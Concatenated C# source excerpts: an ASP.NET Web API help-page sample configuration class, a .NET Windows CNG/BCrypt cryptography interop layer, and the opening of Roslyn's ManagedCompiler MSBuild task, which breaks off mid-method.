public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample);
}
/// <summary>
/// Sets the sample directly for all actions with the specified type and media type.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="type">The parameter type or return type of an action.</param>
public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate request samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate request samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate response samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate response samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type);
}
/// <summary>
/// Gets the help page sample generator.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <returns>The help page sample generator.</returns>
public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config)
{
return (HelpPageSampleGenerator)config.Properties.GetOrAdd(
typeof(HelpPageSampleGenerator),
k => new HelpPageSampleGenerator());
}
/// <summary>
/// Sets the help page sample generator.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sampleGenerator">The help page sample generator.</param>
public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator)
{
config.Properties.AddOrUpdate(
typeof(HelpPageSampleGenerator),
k => sampleGenerator,
(k, o) => sampleGenerator);
}
/// <summary>
/// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param>
/// <returns>
/// An <see cref="HelpPageApiModel"/>
/// </returns>
public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId)
{
object model;
string modelId = ApiModelPrefix + apiDescriptionId;
if (!config.Properties.TryGetValue(modelId, out model))
{
Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions;
ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase));
if (apiDescription != null)
{
HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator();
model = GenerateApiModel(apiDescription, sampleGenerator);
config.Properties.TryAdd(modelId, model);
}
}
return (HelpPageApiModel)model;
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")]
private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HelpPageSampleGenerator sampleGenerator)
{
HelpPageApiModel apiModel = new HelpPageApiModel();
apiModel.ApiDescription = apiDescription;
try
{
foreach (var item in sampleGenerator.GetSampleRequests(apiDescription))
{
apiModel.SampleRequests.Add(item.Key, item.Value);
LogInvalidSampleAsError(apiModel, item.Value);
}
foreach (var item in sampleGenerator.GetSampleResponses(apiDescription))
{
apiModel.SampleResponses.Add(item.Key, item.Value);
LogInvalidSampleAsError(apiModel, item.Value);
}
}
catch (Exception e)
{
apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception Message: {0}", e.Message));
}
return apiModel;
}
private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample)
{
InvalidSample invalidSample = sample as InvalidSample;
if (invalidSample != null)
{
apiModel.ErrorMessages.Add(invalidSample.ErrorMessage);
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Internal.Cryptography;
using static Interop;
using static Interop.BCrypt;
namespace Internal.NativeCrypto
{
internal static partial class BCryptNative
{
/// <summary>
/// Well known algorithm names
/// </summary>
internal static class AlgorithmName
{
public const string ECDH = "ECDH"; // BCRYPT_ECDH_ALGORITHM
public const string ECDHP256 = "ECDH_P256"; // BCRYPT_ECDH_P256_ALGORITHM
public const string ECDHP384 = "ECDH_P384"; // BCRYPT_ECDH_P384_ALGORITHM
public const string ECDHP521 = "ECDH_P521"; // BCRYPT_ECDH_P521_ALGORITHM
public const string ECDsa = "ECDSA"; // BCRYPT_ECDSA_ALGORITHM
public const string ECDsaP256 = "ECDSA_P256"; // BCRYPT_ECDSA_P256_ALGORITHM
public const string ECDsaP384 = "ECDSA_P384"; // BCRYPT_ECDSA_P384_ALGORITHM
public const string ECDsaP521 = "ECDSA_P521"; // BCRYPT_ECDSA_P521_ALGORITHM
public const string MD5 = "MD5"; // BCRYPT_MD5_ALGORITHM
public const string Sha1 = "SHA1"; // BCRYPT_SHA1_ALGORITHM
public const string Sha256 = "SHA256"; // BCRYPT_SHA256_ALGORITHM
public const string Sha384 = "SHA384"; // BCRYPT_SHA384_ALGORITHM
public const string Sha512 = "SHA512"; // BCRYPT_SHA512_ALGORITHM
}
/// <summary>
/// Magic numbers identifying blob types
/// </summary>
internal enum KeyBlobMagicNumber {
ECDHPublicP256 = 0x314B4345, // BCRYPT_ECDH_PUBLIC_P256_MAGIC
ECDHPublicP384 = 0x334B4345, // BCRYPT_ECDH_PUBLIC_P384_MAGIC
ECDHPublicP521 = 0x354B4345, // BCRYPT_ECDH_PUBLIC_P521_MAGIC
ECDsaPublicP256 = 0x31534345, // BCRYPT_ECDSA_PUBLIC_P256_MAGIC
ECDsaPublicP384 = 0x33534345, // BCRYPT_ECDSA_PUBLIC_P384_MAGIC
ECDsaPublicP521 = 0x35534345 // BCRYPT_ECDSA_PUBLIC_P521_MAGIC
}
internal static class KeyDerivationFunction
{
public const string Hash = "HASH"; // BCRYPT_KDF_HASH
public const string Hmac = "HMAC"; // BCRYPT_KDF_HMAC
public const string Tls = "TLS_PRF"; // BCRYPT_KDF_TLS_PRF
}
}
//
// Interop layer around Windows CNG api.
//
internal static partial class Cng
{
[Flags]
public enum OpenAlgorithmProviderFlags : int
{
NONE = 0x00000000,
BCRYPT_ALG_HANDLE_HMAC_FLAG = 0x00000008,
}
public const string BCRYPT_3DES_ALGORITHM = "3DES";
public const string BCRYPT_AES_ALGORITHM = "AES";
public const string BCRYPT_DES_ALGORITHM = "DES";
public const string BCRYPT_RC2_ALGORITHM = "RC2";
public const string BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC";
public const string BCRYPT_CHAIN_MODE_ECB = "ChainingModeECB";
public static SafeAlgorithmHandle BCryptOpenAlgorithmProvider(String pszAlgId, String pszImplementation, OpenAlgorithmProviderFlags dwFlags)
{
SafeAlgorithmHandle hAlgorithm = null;
NTSTATUS ntStatus = Interop.BCryptOpenAlgorithmProvider(out hAlgorithm, pszAlgId, pszImplementation, (int)dwFlags);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
throw CreateCryptographicException(ntStatus);
return hAlgorithm;
}
public static SafeKeyHandle BCryptImportKey(this SafeAlgorithmHandle hAlg, byte[] key)
{
unsafe
{
const String BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
int keySize = key.Length;
int blobSize = sizeof(BCRYPT_KEY_DATA_BLOB_HEADER) + keySize;
byte[] blob = new byte[blobSize];
fixed (byte* pbBlob = blob)
{
BCRYPT_KEY_DATA_BLOB_HEADER* pBlob = (BCRYPT_KEY_DATA_BLOB_HEADER*)pbBlob;
pBlob->dwMagic = BCRYPT_KEY_DATA_BLOB_HEADER.BCRYPT_KEY_DATA_BLOB_MAGIC;
pBlob->dwVersion = BCRYPT_KEY_DATA_BLOB_HEADER.BCRYPT_KEY_DATA_BLOB_VERSION1;
pBlob->cbKeyData = (uint)keySize;
}
Buffer.BlockCopy(key, 0, blob, sizeof(BCRYPT_KEY_DATA_BLOB_HEADER), keySize);
SafeKeyHandle hKey;
NTSTATUS ntStatus = Interop.BCryptImportKey(hAlg, IntPtr.Zero, BCRYPT_KEY_DATA_BLOB, out hKey, IntPtr.Zero, 0, blob, blobSize, 0);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
throw CreateCryptographicException(ntStatus);
return hKey;
}
}
[StructLayout(LayoutKind.Sequential)]
private struct BCRYPT_KEY_DATA_BLOB_HEADER
{
public UInt32 dwMagic;
public UInt32 dwVersion;
public UInt32 cbKeyData;
public const UInt32 BCRYPT_KEY_DATA_BLOB_MAGIC = 0x4d42444b;
public const UInt32 BCRYPT_KEY_DATA_BLOB_VERSION1 = 0x1;
}
public static void SetCipherMode(this SafeAlgorithmHandle hAlg, string cipherMode)
{
NTSTATUS ntStatus = Interop.BCryptSetProperty(hAlg, BCryptPropertyStrings.BCRYPT_CHAINING_MODE, cipherMode, (cipherMode.Length + 1) * 2, 0);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
{
throw CreateCryptographicException(ntStatus);
}
}
public static void SetEffectiveKeyLength(this SafeAlgorithmHandle hAlg, int effectiveKeyLength)
{
NTSTATUS ntStatus = Interop.BCryptSetIntProperty(hAlg, BCryptPropertyStrings.BCRYPT_EFFECTIVE_KEY_LENGTH, ref effectiveKeyLength, 0);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
{
throw CreateCryptographicException(ntStatus);
}
}
// Note: input and output are allowed to be the same buffer. BCryptEncrypt will correctly do the encryption in place according to CNG documentation.
public static int BCryptEncrypt(this SafeKeyHandle hKey, byte[] input, int inputOffset, int inputCount, byte[] iv, byte[] output, int outputOffset, int outputCount)
{
Debug.Assert(input != null);
Debug.Assert(inputOffset >= 0);
Debug.Assert(inputCount >= 0);
Debug.Assert(inputCount <= input.Length - inputOffset);
Debug.Assert(output != null);
Debug.Assert(outputOffset >= 0);
Debug.Assert(outputCount >= 0);
Debug.Assert(outputCount <= output.Length - outputOffset);
unsafe
{
fixed (byte* pbInput = input)
{
fixed (byte* pbOutput = output)
{
int cbResult;
NTSTATUS ntStatus = Interop.BCryptEncrypt(hKey, pbInput + inputOffset, inputCount, IntPtr.Zero, iv, iv == null ? 0 : iv.Length, pbOutput + outputOffset, outputCount, out cbResult, 0);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
throw CreateCryptographicException(ntStatus);
return cbResult;
}
}
}
}
// Note: input and output are allowed to be the same buffer. BCryptDecrypt will correctly do the decryption in place according to CNG documentation.
public static int BCryptDecrypt(this SafeKeyHandle hKey, byte[] input, int inputOffset, int inputCount, byte[] iv, byte[] output, int outputOffset, int outputCount)
{
Debug.Assert(input != null);
Debug.Assert(inputOffset >= 0);
Debug.Assert(inputCount >= 0);
Debug.Assert(inputCount <= input.Length - inputOffset);
Debug.Assert(output != null);
Debug.Assert(outputOffset >= 0);
Debug.Assert(outputCount >= 0);
Debug.Assert(outputCount <= output.Length - outputOffset);
unsafe
{
fixed (byte* pbInput = input)
{
fixed (byte* pbOutput = output)
{
int cbResult;
NTSTATUS ntStatus = Interop.BCryptDecrypt(hKey, pbInput + inputOffset, inputCount, IntPtr.Zero, iv, iv == null ? 0 : iv.Length, pbOutput + outputOffset, outputCount, out cbResult, 0);
if (ntStatus != NTSTATUS.STATUS_SUCCESS)
throw CreateCryptographicException(ntStatus);
return cbResult;
}
}
}
}
private static class BCryptGetPropertyStrings
{
public const String BCRYPT_HASH_LENGTH = "HashDigestLength";
}
public static String CryptFormatObject(String oidValue, byte[] rawData, bool multiLine)
{
const int X509_ASN_ENCODING = 0x00000001;
const int CRYPT_FORMAT_STR_MULTI_LINE = 0x00000001;
int dwFormatStrType = multiLine ? CRYPT_FORMAT_STR_MULTI_LINE : 0;
int cbFormat = 0;
if (!Interop.CryptFormatObject(X509_ASN_ENCODING, 0, dwFormatStrType, IntPtr.Zero, oidValue, rawData, rawData.Length, null, ref cbFormat))
return null;
StringBuilder sb = new StringBuilder((cbFormat + 1) / 2);
if (!Interop.CryptFormatObject(X509_ASN_ENCODING, 0, dwFormatStrType, IntPtr.Zero, oidValue, rawData, rawData.Length, sb, ref cbFormat))
return null;
return sb.ToString();
}
private enum NTSTATUS : uint
{
STATUS_SUCCESS = 0x0,
STATUS_NOT_FOUND = 0xc0000225,
STATUS_INVALID_PARAMETER = 0xc000000d,
STATUS_NO_MEMORY = 0xc0000017,
}
private static Exception CreateCryptographicException(NTSTATUS ntStatus)
{
int hr = ((int)ntStatus) | 0x01000000;
return hr.ToCryptographicException();
}
}
internal static partial class Cng
{
private static class Interop
{
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode)]
public static extern NTSTATUS BCryptOpenAlgorithmProvider(out SafeAlgorithmHandle phAlgorithm, String pszAlgId, String pszImplementation, int dwFlags);
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode)]
public static extern unsafe NTSTATUS BCryptSetProperty(SafeAlgorithmHandle hObject, String pszProperty, String pbInput, int cbInput, int dwFlags);
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode, EntryPoint = "BCryptSetProperty")]
private static extern unsafe NTSTATUS BCryptSetIntPropertyPrivate(SafeBCryptHandle hObject, string pszProperty, ref int pdwInput, int cbInput, int dwFlags);
public static unsafe NTSTATUS BCryptSetIntProperty(SafeBCryptHandle hObject, string pszProperty, ref int pdwInput, int dwFlags)
{
return BCryptSetIntPropertyPrivate(hObject, pszProperty, ref pdwInput, sizeof(int), dwFlags);
}
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode)]
public static extern NTSTATUS BCryptImportKey(SafeAlgorithmHandle hAlgorithm, IntPtr hImportKey, String pszBlobType, out SafeKeyHandle hKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, int dwFlags);
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode)]
public static extern unsafe NTSTATUS BCryptEncrypt(SafeKeyHandle hKey, byte* pbInput, int cbInput, IntPtr paddingInfo, [In,Out] byte [] pbIV, int cbIV, byte* pbOutput, int cbOutput, out int cbResult, int dwFlags);
[DllImport(Libraries.BCrypt, CharSet = CharSet.Unicode)]
public static extern unsafe NTSTATUS BCryptDecrypt(SafeKeyHandle hKey, byte* pbInput, int cbInput, IntPtr paddingInfo, [In, Out] byte[] pbIV, int cbIV, byte* pbOutput, int cbOutput, out int cbResult, int dwFlags);
[DllImport(Libraries.Crypt32, CharSet = CharSet.Ansi, SetLastError = true, BestFitMapping = false)]
public static extern bool CryptFormatObject(
[In] int dwCertEncodingType, // only valid value is X509_ASN_ENCODING
[In] int dwFormatType, // unused - pass 0.
[In] int dwFormatStrType, // select multiline
[In] IntPtr pFormatStruct, // unused - pass IntPtr.Zero
[MarshalAs(UnmanagedType.LPStr)]
[In] String lpszStructType, // OID value
[In] byte[] pbEncoded, // Data to be formatted
[In] int cbEncoded, // Length of data to be formatted
[MarshalAs(UnmanagedType.LPWStr)]
[Out] StringBuilder pbFormat, // Receives formatted string.
[In, Out] ref int pcbFormat); // Sends/receives length of formatted String.
}
}
internal abstract class SafeBCryptHandle : SafeHandle
{
public SafeBCryptHandle()
: base(IntPtr.Zero, true)
{
}
public sealed override bool IsInvalid
{
get
{
return handle == IntPtr.Zero;
}
}
}
internal sealed class SafeAlgorithmHandle : SafeBCryptHandle
{
protected sealed override bool ReleaseHandle()
{
uint ntStatus = BCryptCloseAlgorithmProvider(handle, 0);
return ntStatus == 0;
}
[DllImport(Libraries.BCrypt)]
private static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags);
}
internal sealed class SafeHashHandle : SafeBCryptHandle
{
protected sealed override bool ReleaseHandle()
{
uint ntStatus = BCryptDestroyHash(handle);
return ntStatus == 0;
}
[DllImport(Libraries.BCrypt)]
private static extern uint BCryptDestroyHash(IntPtr hHash);
}
internal sealed class SafeKeyHandle : SafeBCryptHandle
{
private SafeAlgorithmHandle _parentHandle = null;
public void SetParentHandle(SafeAlgorithmHandle parentHandle)
{
Debug.Assert(_parentHandle == null);
Debug.Assert(parentHandle != null);
Debug.Assert(!parentHandle.IsInvalid);
bool ignore = false;
parentHandle.DangerousAddRef(ref ignore);
_parentHandle = parentHandle;
}
protected sealed override bool ReleaseHandle()
{
if (_parentHandle != null)
{
_parentHandle.DangerousRelease();
_parentHandle = null;
}
uint ntStatus = BCryptDestroyKey(handle);
return ntStatus == 0;
}
[DllImport(Libraries.BCrypt)]
private static extern uint BCryptDestroyKey(IntPtr hKey);
}
}
| |
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System;
using System.Collections;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading;
using Roslyn.Utilities;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using Microsoft.CodeAnalysis.CommandLine;
using System.Runtime.InteropServices;
namespace Microsoft.CodeAnalysis.BuildTasks
{
/// <summary>
/// This class defines all of the common stuff that is shared between the Vbc and Csc tasks.
/// This class is not instantiatable as a Task just by itself.
/// </summary>
public abstract class ManagedCompiler : ToolTask
{
private CancellationTokenSource _sharedCompileCts;
internal readonly PropertyDictionary _store = new PropertyDictionary();
public ManagedCompiler()
{
TaskResources = ErrorString.ResourceManager;
}
#region Properties
// Please keep these alphabetized.
public string[] AdditionalLibPaths
{
set { _store[nameof(AdditionalLibPaths)] = value; }
get { return (string[])_store[nameof(AdditionalLibPaths)]; }
}
public string[] AddModules
{
set { _store[nameof(AddModules)] = value; }
get { return (string[])_store[nameof(AddModules)]; }
}
public ITaskItem[] AdditionalFiles
{
set { _store[nameof(AdditionalFiles)] = value; }
get { return (ITaskItem[])_store[nameof(AdditionalFiles)]; }
}
public ITaskItem[] Analyzers
{
set { _store[nameof(Analyzers)] = value; }
get { return (ITaskItem[])_store[nameof(Analyzers)]; }
}
// We do not support BugReport because it always requires user interaction,
// which will cause a hang.
public string ChecksumAlgorithm
{
set { _store[nameof(ChecksumAlgorithm)] = value; }
get { return (string)_store[nameof(ChecksumAlgorithm)]; }
}
public string CodeAnalysisRuleSet
{
set { _store[nameof(CodeAnalysisRuleSet)] = value; }
get { return (string)_store[nameof(CodeAnalysisRuleSet)]; }
}
public int CodePage
{
set { _store[nameof(CodePage)] = value; }
get { return _store.GetOrDefault(nameof(CodePage), 0); }
}
[Output]
public ITaskItem[] CommandLineArgs
{
set { _store[nameof(CommandLineArgs)] = value; }
get { return (ITaskItem[])_store[nameof(CommandLineArgs)]; }
}
public string DebugType
{
set { _store[nameof(DebugType)] = value; }
get { return (string)_store[nameof(DebugType)]; }
}
public string DefineConstants
{
set { _store[nameof(DefineConstants)] = value; }
get { return (string)_store[nameof(DefineConstants)]; }
}
public bool DelaySign
{
set { _store[nameof(DelaySign)] = value; }
get { return _store.GetOrDefault(nameof(DelaySign), false); }
}
public bool Deterministic
{
set { _store[nameof(Deterministic)] = value; }
get { return _store.GetOrDefault(nameof(Deterministic), false); }
}
public bool PublicSign
{
set { _store[nameof(PublicSign)] = value; }
get { return _store.GetOrDefault(nameof(PublicSign), false); }
}
public bool EmitDebugInformation
{
set { _store[nameof(EmitDebugInformation)] = value; }
get { return _store.GetOrDefault(nameof(EmitDebugInformation), false); }
}
public string ErrorLog
{
set { _store[nameof(ErrorLog)] = value; }
get { return (string)_store[nameof(ErrorLog)]; }
}
public string Features
{
set { _store[nameof(Features)] = value; }
get { return (string)_store[nameof(Features)]; }
}
public int FileAlignment
{
set { _store[nameof(FileAlignment)] = value; }
get { return _store.GetOrDefault(nameof(FileAlignment), 0); }
}
public bool HighEntropyVA
{
set { _store[nameof(HighEntropyVA)] = value; }
get { return _store.GetOrDefault(nameof(HighEntropyVA), false); }
}
public string KeyContainer
{
set { _store[nameof(KeyContainer)] = value; }
get { return (string)_store[nameof(KeyContainer)]; }
}
public string KeyFile
{
set { _store[nameof(KeyFile)] = value; }
get { return (string)_store[nameof(KeyFile)]; }
}
public ITaskItem[] LinkResources
{
set { _store[nameof(LinkResources)] = value; }
get { return (ITaskItem[])_store[nameof(LinkResources)]; }
}
public string MainEntryPoint
{
set { _store[nameof(MainEntryPoint)] = value; }
get { return (string)_store[nameof(MainEntryPoint)]; }
}
public bool NoConfig
{
set { _store[nameof(NoConfig)] = value; }
get { return _store.GetOrDefault(nameof(NoConfig), false); }
}
public bool NoLogo
{
set { _store[nameof(NoLogo)] = value; }
get { return _store.GetOrDefault(nameof(NoLogo), false); }
}
public bool NoWin32Manifest
{
set { _store[nameof(NoWin32Manifest)] = value; }
get { return _store.GetOrDefault(nameof(NoWin32Manifest), false); }
}
public bool Optimize
{
set { _store[nameof(Optimize)] = value; }
get { return _store.GetOrDefault(nameof(Optimize), false); }
}
[Output]
public ITaskItem OutputAssembly
{
set { _store[nameof(OutputAssembly)] = value; }
get { return (ITaskItem)_store[nameof(OutputAssembly)]; }
}
public string Platform
{
set { _store[nameof(Platform)] = value; }
get { return (string)_store[nameof(Platform)]; }
}
public bool Prefer32Bit
{
set { _store[nameof(Prefer32Bit)] = value; }
get { return _store.GetOrDefault(nameof(Prefer32Bit), false); }
}
public bool ProvideCommandLineArgs
{
set { _store[nameof(ProvideCommandLineArgs)] = value; }
get { return _store.GetOrDefault(nameof(ProvideCommandLineArgs), false); }
}
public ITaskItem[] References
{
set { _store[nameof(References)] = value; }
get { return (ITaskItem[])_store[nameof(References)]; }
}
public bool ReportAnalyzer
{
set { _store[nameof(ReportAnalyzer)] = value; }
get { return _store.GetOrDefault(nameof(ReportAnalyzer), false); }
}
public ITaskItem[] Resources
{
set { _store[nameof(Resources)] = value; }
get { return (ITaskItem[])_store[nameof(Resources)]; }
}
public string RuntimeMetadataVersion
{
set { _store[nameof(RuntimeMetadataVersion)] = value; }
get { return (string)_store[nameof(RuntimeMetadataVersion)]; }
}
public ITaskItem[] ResponseFiles
{
set { _store[nameof(ResponseFiles)] = value; }
get { return (ITaskItem[])_store[nameof(ResponseFiles)]; }
}
public bool SkipCompilerExecution
{
set { _store[nameof(SkipCompilerExecution)] = value; }
get { return _store.GetOrDefault(nameof(SkipCompilerExecution), false); }
}
public ITaskItem[] Sources
{
set
{
if (UsedCommandLineTool)
{
NormalizePaths(value);
}
_store[nameof(Sources)] = value;
}
get { return (ITaskItem[])_store[nameof(Sources)]; }
}
public string SubsystemVersion
{
set { _store[nameof(SubsystemVersion)] = value; }
get { return (string)_store[nameof(SubsystemVersion)]; }
}
public string TargetType
{
set { _store[nameof(TargetType)] = CultureInfo.InvariantCulture.TextInfo.ToLower(value); }
get { return (string)_store[nameof(TargetType)]; }
}
public bool TreatWarningsAsErrors
{
set { _store[nameof(TreatWarningsAsErrors)] = value; }
get { return _store.GetOrDefault(nameof(TreatWarningsAsErrors), false); }
}
public bool Utf8Output
{
set { _store[nameof(Utf8Output)] = value; }
get { return _store.GetOrDefault(nameof(Utf8Output), false); }
}
public string Win32Icon
{
set { _store[nameof(Win32Icon)] = value; }
get { return (string)_store[nameof(Win32Icon)]; }
}
public string Win32Manifest
{
set { _store[nameof(Win32Manifest)] = value; }
get { return (string)_store[nameof(Win32Manifest)]; }
}
public string Win32Resource
{
set { _store[nameof(Win32Resource)] = value; }
get { return (string)_store[nameof(Win32Resource)]; }
}
public string PathMap
{
set { _store[nameof(PathMap)] = value; }
get { return (string)_store[nameof(PathMap)]; }
}
/// <summary>
/// If this property is true then the task will take every C# or VB
/// compilation which is queued by MSBuild and send it to the
/// VBCSCompiler server instance, starting a new instance if necessary.
/// If false, we will use the values from ToolPath/Exe.
/// </summary>
public bool UseSharedCompilation
{
set { _store[nameof(UseSharedCompilation)] = value; }
get { return _store.GetOrDefault(nameof(UseSharedCompilation), false); }
}
// Map explicit platform of "AnyCPU" or the default platform (null or ""), since it is commonly understood in the
// managed build process to be equivalent to "AnyCPU", to platform "AnyCPU32BitPreferred" if the Prefer32Bit
// property is set.
internal string PlatformWith32BitPreference
{
get
{
string platform = Platform;
if ((string.IsNullOrEmpty(platform) || platform.Equals("anycpu", StringComparison.OrdinalIgnoreCase)) && Prefer32Bit)
{
platform = "anycpu32bitpreferred";
}
return platform;
}
}
/// <summary>
/// Overridable property specifying the encoding of the captured task standard output stream
/// </summary>
protected override Encoding StandardOutputEncoding
{
get
{
return (Utf8Output) ? Encoding.UTF8 : base.StandardOutputEncoding;
}
}
#endregion
internal abstract RequestLanguage Language { get; }
protected override int ExecuteTool(string pathToTool, string responseFileCommands, string commandLineCommands)
{
if (ProvideCommandLineArgs)
{
CommandLineArgs = GetArguments(commandLineCommands, responseFileCommands)
.Select(arg => new TaskItem(arg)).ToArray();
}
if (SkipCompilerExecution)
{
return 0;
}
if (!UseSharedCompilation || !string.IsNullOrEmpty(ToolPath))
{
return base.ExecuteTool(pathToTool, responseFileCommands, commandLineCommands);
}
using (_sharedCompileCts = new CancellationTokenSource())
{
try
{
CompilerServerLogger.Log($"CommandLine = '{commandLineCommands}'");
CompilerServerLogger.Log($"BuildResponseFile = '{responseFileCommands}'");
// Try to get the location of the user-provided build client and server,
// which should be located next to the build task. If not, fall back to
// "pathToTool", which is the compiler in the MSBuild default bin directory.
var clientDir = TryGetClientDir() ?? Path.GetDirectoryName(pathToTool);
pathToTool = Path.Combine(clientDir, ToolExe);
// Note: we can't change the "tool path" printed to the console when we run
// the Csc/Vbc task since MSBuild logs it for us before we get here. Instead,
// we'll just print our own message that contains the real client location
Log.LogMessage(ErrorString.UsingSharedCompilation, clientDir);
var buildPaths = new BuildPaths(
clientDir: clientDir,
// MSBuild doesn't need the .NET SDK directory
sdkDir: null,
workingDir: CurrentDirectoryToUse());
var responseTask = BuildClientShim.RunServerCompilation(
Language,
GetArguments(commandLineCommands, responseFileCommands).ToList(),
buildPaths,
keepAlive: null,
libEnvVariable: LibDirectoryToUse(),
cancellationToken: _sharedCompileCts.Token);
responseTask.Wait(_sharedCompileCts.Token);
var response = responseTask.Result;
if (response != null)
{
ExitCode = HandleResponse(response, pathToTool, responseFileCommands, commandLineCommands);
}
else
{
Log.LogMessage(ErrorString.SharedCompilationFallback, pathToTool);
ExitCode = base.ExecuteTool(pathToTool, responseFileCommands, commandLineCommands);
}
}
catch (OperationCanceledException)
{
ExitCode = 0;
}
catch (Exception e)
{
Log.LogErrorWithCodeFromResources("Compiler_UnexpectedException");
LogErrorOutput(e.ToString());
ExitCode = -1;
}
}
return ExitCode;
}
/// <summary>
/// Try to get the directory this assembly is in. Returns null if assembly
/// was in the GAC or DLL location can not be retrieved.
/// </summary>
private static string TryGetClientDir()
{
#if PORTABLE50
return null;
#else
var buildTask = typeof(ManagedCompiler).GetTypeInfo().Assembly;
if (buildTask.GlobalAssemblyCache)
return null;
var uri = new Uri(buildTask.CodeBase);
string assemblyPath = uri.IsFile
? uri.LocalPath
: Assembly.GetCallingAssembly().Location;
return Path.GetDirectoryName(assemblyPath);
#endif
}
/// <summary>
/// Cancel the in-process build task.
/// </summary>
public override void Cancel()
{
base.Cancel();
_sharedCompileCts?.Cancel();
}
/// <summary>
/// Get the current directory that the compiler should run in.
/// </summary>
private string CurrentDirectoryToUse()
{
// ToolTask has a method for this. But it may return null. Use the process directory
// if ToolTask didn't override. MSBuild uses the process directory.
string workingDirectory = GetWorkingDirectory();
if (string.IsNullOrEmpty(workingDirectory))
